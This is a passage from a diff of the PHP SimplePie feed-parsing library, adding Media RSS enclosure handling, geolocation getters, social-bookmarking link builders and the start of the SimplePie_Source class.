+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						elseif (isset($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($group['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width);
+					}
+				}
+			}
+
+			// If we have standalone media:content tags, loop through them.
+			if (isset($this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content']))
+			{
+				foreach ((array) $this->data['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['content'] as $content)
+				{
+					if (isset($content['attribs']['']['url']))
+					{
+						// Attributes
+						$bitrate = null;
+						$channels = null;
+						$duration = null;
+						$expression = null;
+						$framerate = null;
+						$height = null;
+						$javascript = null;
+						$lang = null;
+						$length = null;
+						$medium = null;
+						$samplingrate = null;
+						$type = null;
+						$url = null;
+						$width = null;
+
+						// Elements
+						$captions = null;
+						$categories = null;
+						$copyrights = null;
+						$credits = null;
+						$description = null;
+						$hashes = null;
+						$keywords = null;
+						$player = null;
+						$ratings = null;
+						$restrictions = null;
+						$thumbnails = null;
+						$title = null;
+
+						// Start checking the attributes of media:content
+						if (isset($content['attribs']['']['bitrate']))
+						{
+							$bitrate = $this->sanitize($content['attribs']['']['bitrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['channels']))
+						{
+							$channels = $this->sanitize($content['attribs']['']['channels'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['duration']))
+						{
+							$duration = $this->sanitize($content['attribs']['']['duration'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$duration = $duration_parent;
+						}
+						if (isset($content['attribs']['']['expression']))
+						{
+							$expression = $this->sanitize($content['attribs']['']['expression'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['framerate']))
+						{
+							$framerate = $this->sanitize($content['attribs']['']['framerate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['height']))
+						{
+							$height = $this->sanitize($content['attribs']['']['height'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['lang']))
+						{
+							$lang = $this->sanitize($content['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['fileSize']))
+						{
+							$length = ceil($content['attribs']['']['fileSize']);
+						}
+						if (isset($content['attribs']['']['medium']))
+						{
+							$medium = $this->sanitize($content['attribs']['']['medium'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['samplingrate']))
+						{
+							$samplingrate = $this->sanitize($content['attribs']['']['samplingrate'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['type']))
+						{
+							$type = $this->sanitize($content['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						if (isset($content['attribs']['']['width']))
+						{
+							$width = $this->sanitize($content['attribs']['']['width'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						$url = $this->sanitize($content['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+
+						// Checking the other optional media: elements. Priority: media:content, media:group, item, channel
+
+						// CAPTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['text'] as $caption)
+							{
+								$caption_type = null;
+								$caption_lang = null;
+								$caption_startTime = null;
+								$caption_endTime = null;
+								$caption_text = null;
+								if (isset($caption['attribs']['']['type']))
+								{
+									$caption_type = $this->sanitize($caption['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['lang']))
+								{
+									$caption_lang = $this->sanitize($caption['attribs']['']['lang'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['start']))
+								{
+									$caption_startTime = $this->sanitize($caption['attribs']['']['start'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['attribs']['']['end']))
+								{
+									$caption_endTime = $this->sanitize($caption['attribs']['']['end'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($caption['data']))
+								{
+									$caption_text = $this->sanitize($caption['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$captions[] =& new $this->feed->caption_class($caption_type, $caption_lang, $caption_startTime, $caption_endTime, $caption_text);
+							}
+							if (is_array($captions))
+							{
+								$captions = array_values(SimplePie_Misc::array_unique($captions));
+							}
+						}
+						else
+						{
+							$captions = $captions_parent;
+						}
+
+						// CATEGORIES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category']))
+						{
+							foreach ((array) $content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['category'] as $category)
+							{
+								$term = null;
+								$scheme = null;
+								$label = null;
+								if (isset($category['data']))
+								{
+									$term = $this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($category['attribs']['']['scheme']))
+								{
+									$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$scheme = 'http://search.yahoo.com/mrss/category_schema';
+								}
+								if (isset($category['attribs']['']['label']))
+								{
+									$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$categories[] =& new $this->feed->category_class($term, $scheme, $label);
+							}
+						}
+						if (is_array($categories) && is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique(array_merge($categories, $categories_parent)));
+						}
+						elseif (is_array($categories))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories));
+						}
+						elseif (is_array($categories_parent))
+						{
+							$categories = array_values(SimplePie_Misc::array_unique($categories_parent));
+						}
+						else
+						{
+							$categories = null;
+						}
+
+						// COPYRIGHTS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright']))
+						{
+							$copyright_url = null;
+							$copyright_label = null;
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url']))
+							{
+								$copyright_url = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data']))
+							{
+								$copyright_label = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['copyright'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+							}
+							$copyrights =& new $this->feed->copyright_class($copyright_url, $copyright_label);
+						}
+						else
+						{
+							$copyrights = $copyrights_parent;
+						}
+
+						// CREDITS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['credit'] as $credit)
+							{
+								$credit_role = null;
+								$credit_scheme = null;
+								$credit_name = null;
+								if (isset($credit['attribs']['']['role']))
+								{
+									$credit_role = $this->sanitize($credit['attribs']['']['role'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($credit['attribs']['']['scheme']))
+								{
+									$credit_scheme = $this->sanitize($credit['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$credit_scheme = 'urn:ebu';
+								}
+								if (isset($credit['data']))
+								{
+									$credit_name = $this->sanitize($credit['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$credits[] =& new $this->feed->credit_class($credit_role, $credit_scheme, $credit_name);
+							}
+							if (is_array($credits))
+							{
+								$credits = array_values(SimplePie_Misc::array_unique($credits));
+							}
+						}
+						else
+						{
+							$credits = $credits_parent;
+						}
+
+						// DESCRIPTION
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description']))
+						{
+							$description = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['description'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$description = $description_parent;
+						}
+
+						// HASHES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['hash'] as $hash)
+							{
+								$value = null;
+								$algo = null;
+								if (isset($hash['data']))
+								{
+									$value = $this->sanitize($hash['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($hash['attribs']['']['algo']))
+								{
+									$algo = $this->sanitize($hash['attribs']['']['algo'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$algo = 'md5';
+								}
+								$hashes[] = $algo.':'.$value;
+							}
+							if (is_array($hashes))
+							{
+								$hashes = array_values(SimplePie_Misc::array_unique($hashes));
+							}
+						}
+						else
+						{
+							$hashes = $hashes_parent;
+						}
+
+						// KEYWORDS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords']))
+						{
+							if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data']))
+							{
+								$temp = explode(',', $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['keywords'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT));
+								foreach ($temp as $word)
+								{
+									$keywords[] = trim($word);
+								}
+								unset($temp);
+							}
+							if (is_array($keywords))
+							{
+								$keywords = array_values(SimplePie_Misc::array_unique($keywords));
+							}
+						}
+						else
+						{
+							$keywords = $keywords_parent;
+						}
+
+						// PLAYER
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player']))
+						{
+							$player = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['player'][0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+						}
+						else
+						{
+							$player = $player_parent;
+						}
+
+						// RATINGS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['rating'] as $rating)
+							{
+								$rating_scheme = null;
+								$rating_value = null;
+								if (isset($rating['attribs']['']['scheme']))
+								{
+									$rating_scheme = $this->sanitize($rating['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								else
+								{
+									$rating_scheme = 'urn:simple';
+								}
+								if (isset($rating['data']))
+								{
+									$rating_value = $this->sanitize($rating['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$ratings[] =& new $this->feed->rating_class($rating_scheme, $rating_value);
+							}
+							if (is_array($ratings))
+							{
+								$ratings = array_values(SimplePie_Misc::array_unique($ratings));
+							}
+						}
+						else
+						{
+							$ratings = $ratings_parent;
+						}
+
+						// RESTRICTIONS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['restriction'] as $restriction)
+							{
+								$restriction_relationship = null;
+								$restriction_type = null;
+								$restriction_value = null;
+								if (isset($restriction['attribs']['']['relationship']))
+								{
+									$restriction_relationship = $this->sanitize($restriction['attribs']['']['relationship'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['attribs']['']['type']))
+								{
+									$restriction_type = $this->sanitize($restriction['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								if (isset($restriction['data']))
+								{
+									$restriction_value = $this->sanitize($restriction['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+								}
+								$restrictions[] =& new $this->feed->restriction_class($restriction_relationship, $restriction_type, $restriction_value);
+							}
+							if (is_array($restrictions))
+							{
+								$restrictions = array_values(SimplePie_Misc::array_unique($restrictions));
+							}
+						}
+						else
+						{
+							$restrictions = $restrictions_parent;
+						}
+
+						// THUMBNAILS
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail']))
+						{
+							foreach ($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['thumbnail'] as $thumbnail)
+							{
+								$thumbnails[] = $this->sanitize($thumbnail['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI);
+							}
+							if (is_array($thumbnails))
+							{
+								$thumbnails = array_values(SimplePie_Misc::array_unique($thumbnails));
+							}
+						}
+						else
+						{
+							$thumbnails = $thumbnails_parent;
+						}
+
+						// TITLES
+						if (isset($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title']))
+						{
+							$title = $this->sanitize($content['child'][SIMPLEPIE_NAMESPACE_MEDIARSS]['title'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+						}
+						else
+						{
+							$title = $title_parent;
+						}
+
+						$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions, $categories, $channels, $copyrights, $credits, $description, $duration, $expression, $framerate, $hashes, $height, $keywords, $lang, $medium, $player, $ratings, $restrictions, $samplingrate, $thumbnails, $title, $width);
+					}
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] == 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			foreach ((array) $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'link') as $link)
+			{
+				if (isset($link['attribs']['']['href']) && !empty($link['attribs']['']['rel']) && $link['attribs']['']['rel'] == 'enclosure')
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($link['attribs']['']['href'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($link));
+					if (isset($link['attribs']['']['type']))
+					{
+						$type = $this->sanitize($link['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($link['attribs']['']['length']))
+					{
+						$length = ceil($link['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			if ($enclosure = $this->get_item_tags('', 'enclosure'))
+			{
+				if (isset($enclosure[0]['attribs']['']['url']))
+				{
+					// Attributes
+					$bitrate = null;
+					$channels = null;
+					$duration = null;
+					$expression = null;
+					$framerate = null;
+					$height = null;
+					$javascript = null;
+					$lang = null;
+					$length = null;
+					$medium = null;
+					$samplingrate = null;
+					$type = null;
+					$url = null;
+					$width = null;
+
+					$url = $this->sanitize($enclosure[0]['attribs']['']['url'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($enclosure[0]));
+					if (isset($enclosure[0]['attribs']['']['type']))
+					{
+						$type = $this->sanitize($enclosure[0]['attribs']['']['type'], SIMPLEPIE_CONSTRUCT_TEXT);
+					}
+					if (isset($enclosure[0]['attribs']['']['length']))
+					{
+						$length = ceil($enclosure[0]['attribs']['']['length']);
+					}
+
+					// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+					$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+				}
+			}
+
+			if (sizeof($this->data['enclosures']) == 0 && ($url || $type || $length || $bitrate || $captions_parent || $categories_parent || $channels || $copyrights_parent || $credits_parent || $description_parent || $duration_parent || $expression || $framerate || $hashes_parent || $height || $keywords_parent || $lang || $medium || $player_parent || $ratings_parent || $restrictions_parent || $samplingrate || $thumbnails_parent || $title_parent || $width))
+			{
+				// Since we don't have group or content for these, we'll just pass the '*_parent' variables directly to the constructor
+				$this->data['enclosures'][] =& new $this->feed->enclosure_class($url, $type, $length, $this->feed->javascript, $bitrate, $captions_parent, $categories_parent, $channels, $copyrights_parent, $credits_parent, $description_parent, $duration_parent, $expression, $framerate, $hashes_parent, $height, $keywords_parent, $lang, $medium, $player_parent, $ratings_parent, $restrictions_parent, $samplingrate, $thumbnails_parent, $title_parent, $width);
+			}
+
+			$this->data['enclosures'] = array_values(SimplePie_Misc::array_unique($this->data['enclosures']));
+		}
+		if (!empty($this->data['enclosures']))
+		{
+			return $this->data['enclosures'];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_latitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lat'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[1];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_longitude()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'long'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_W3C_BASIC_GEO, 'lon'))
+		{
+			return (float) $return[0]['data'];
+		}
+		elseif (($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_GEORSS, 'point')) && preg_match('/^((?:-)?[0-9]+(?:\.[0-9]+)) ((?:-)?[0-9]+(?:\.[0-9]+))$/', $return[0]['data'], $match))
+		{
+			return (float) $match[2];
+		}
+		else
+		{
+			return null;
+		}
+	}
+	
+	function get_source()
+	{
+		if ($return = $this->get_item_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'source'))
+		{
+			return new $this->feed->source_class($this, $return[0]);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	/**
+	 * Creates the add_to_* methods' return data
+	 *
+	 * @access private
+	 * @param string $item_url String to prefix to the item permalink
+	 * @param string $title_url String to prefix to the item title
+	 * (and suffix to the item permalink)
+	 * @return mixed URL if feed exists, false otherwise
+	 */
+	function add_to_service($item_url, $title_url = null, $summary_url = null)
+	{
+		if ($this->get_permalink() !== null)
+		{
+			$return = $this->sanitize($item_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_permalink());
+			if ($title_url !== null && $this->get_title() !== null)
+			{
+				$return .= $this->sanitize($title_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_title());
+			}
+			if ($summary_url !== null && $this->get_description() !== null)
+			{
+				$return .= $this->sanitize($summary_url, SIMPLEPIE_CONSTRUCT_IRI) . rawurlencode($this->get_description());
+			}
+			return $return;
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function add_to_blinklist()
+	{
+		return $this->add_to_service('http://www.blinklist.com/index.php?Action=Blink/addblink.php&Description=&Url=', '&Title=');
+	}
+
+	function add_to_blogmarks()
+	{
+		return $this->add_to_service('http://blogmarks.net/my/new.php?mini=1&simple=1&url=', '&title=');
+	}
+
+	function add_to_delicious()
+	{
+		return $this->add_to_service('http://del.icio.us/post/?v=4&url=', '&title=');
+	}
+
+	function add_to_digg()
+	{
+		return $this->add_to_service('http://digg.com/submit?url=', '&title=', '&bodytext=');
+	}
+
+	function add_to_furl()
+	{
+		return $this->add_to_service('http://www.furl.net/storeIt.jsp?u=', '&t=');
+	}
+
+	function add_to_magnolia()
+	{
+		return $this->add_to_service('http://ma.gnolia.com/bookmarklet/add?url=', '&title=');
+	}
+
+	function add_to_myweb20()
+	{
+		return $this->add_to_service('http://myweb2.search.yahoo.com/myresults/bookmarklet?u=', '&t=');
+	}
+
+	function add_to_newsvine()
+	{
+		return $this->add_to_service('http://www.newsvine.com/_wine/save?u=', '&h=');
+	}
+
+	function add_to_reddit()
+	{
+		return $this->add_to_service('http://reddit.com/submit?url=', '&title=');
+	}
+
+	function add_to_segnalo()
+	{
+		return $this->add_to_service('http://segnalo.com/post.html.php?url=', '&title=');
+	}
+
+	function add_to_simpy()
+	{
+		return $this->add_to_service('http://www.simpy.com/simpy/LinkAdd.do?href=', '&title=');
+	}
+
+	function add_to_spurl()
+	{
+		return $this->add_to_service('http://www.spurl.net/spurl.php?v=3&url=', '&title=');
+	}
+
+	function add_to_wists()
+	{
+		return $this->add_to_service('http://wists.com/r.php?c=&r=', '&title=');
+	}
+
+	function search_technorati()
+	{
+		return $this->add_to_service('http://www.technorati.com/search/');
+	}
+}
+
+class SimplePie_Source
+{
+	var $item;
+	var $data = array();
+
+	function SimplePie_Source($item, $data)
+	{
+		$this->item = $item;
+		$this->data = $data;
+	}
+
+	function __toString()
+	{
+		return md5(serialize($this->data));
+	}
+	
+	/**
+	 * Remove items that link back to this before destroying this object
+	 */
+	function __destruct()
+	{
+		unset($this->item);
+	}
+
+	function get_source_tags($namespace, $tag)
+	{
+		if (isset($this->data['child'][$namespace][$tag]))
+		{
+			return $this->data['child'][$namespace][$tag];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_base($element = array())
+	{
+		return $this->item->get_base($element);
+	}
+
+	function sanitize($data, $type, $base = '')
+	{
+		return $this->item->sanitize($data, $type, $base);
+	}
+
+	function get_item()
+	{
+		return $this->item;
+	}
+
+	function get_title()
+	{
+		if ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_10_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_03, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SimplePie_Misc::atom_03_construct_type($return[0]['attribs']), $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_RSS_090, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags('', 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_MAYBE_HTML, $this->get_base($return[0]));
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		elseif ($return = $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'title'))
+		{
+			return $this->sanitize($return[0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_category($key = 0)
+	{
+		$categories = $this->get_categories();
+		if (isset($categories[$key]))
+		{
+			return $categories[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_categories()
+	{
+		$categories = array();
+
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'category') as $category)
+		{
+			$term = null;
+			$scheme = null;
+			$label = null;
+			if (isset($category['attribs']['']['term']))
+			{
+				$term = $this->sanitize($category['attribs']['']['term'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['scheme']))
+			{
+				$scheme = $this->sanitize($category['attribs']['']['scheme'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($category['attribs']['']['label']))
+			{
+				$label = $this->sanitize($category['attribs']['']['label'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			$categories[] =& new $this->item->feed->category_class($term, $scheme, $label);
+		}
+		foreach ((array) $this->get_source_tags('', 'category') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_11, 'subject') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_DC_10, 'subject') as $category)
+		{
+			$categories[] =& new $this->item->feed->category_class($this->sanitize($category['data'], SIMPLEPIE_CONSTRUCT_TEXT), null, null);
+		}
+
+		if (!empty($categories))
+		{
+			return SimplePie_Misc::array_unique($categories);
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_author($key = 0)
+	{
+		$authors = $this->get_authors();
+		if (isset($authors[$key]))
+		{
+			return $authors[$key];
+		}
+		else
+		{
+			return null;
+		}
+	}
+
+	function get_authors()
+	{
+		$authors = array();
+		foreach ((array) $this->get_source_tags(SIMPLEPIE_NAMESPACE_ATOM_10, 'author') as $author)
+		{
+			$name = null;
+			$uri = null;
+			$email = null;
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data']))
+			{
+				$name = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['name'][0]['data'], SIMPLEPIE_CONSTRUCT_TEXT);
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data']))
+			{
+				$uri = $this->sanitize($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]['data'], SIMPLEPIE_CONSTRUCT_IRI, $this->get_base($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['uri'][0]));
+			}
+			if (isset($author['child'][SIMPLEPIE_NAMESPACE_ATOM_10]['email'][0]['data']))
+			{
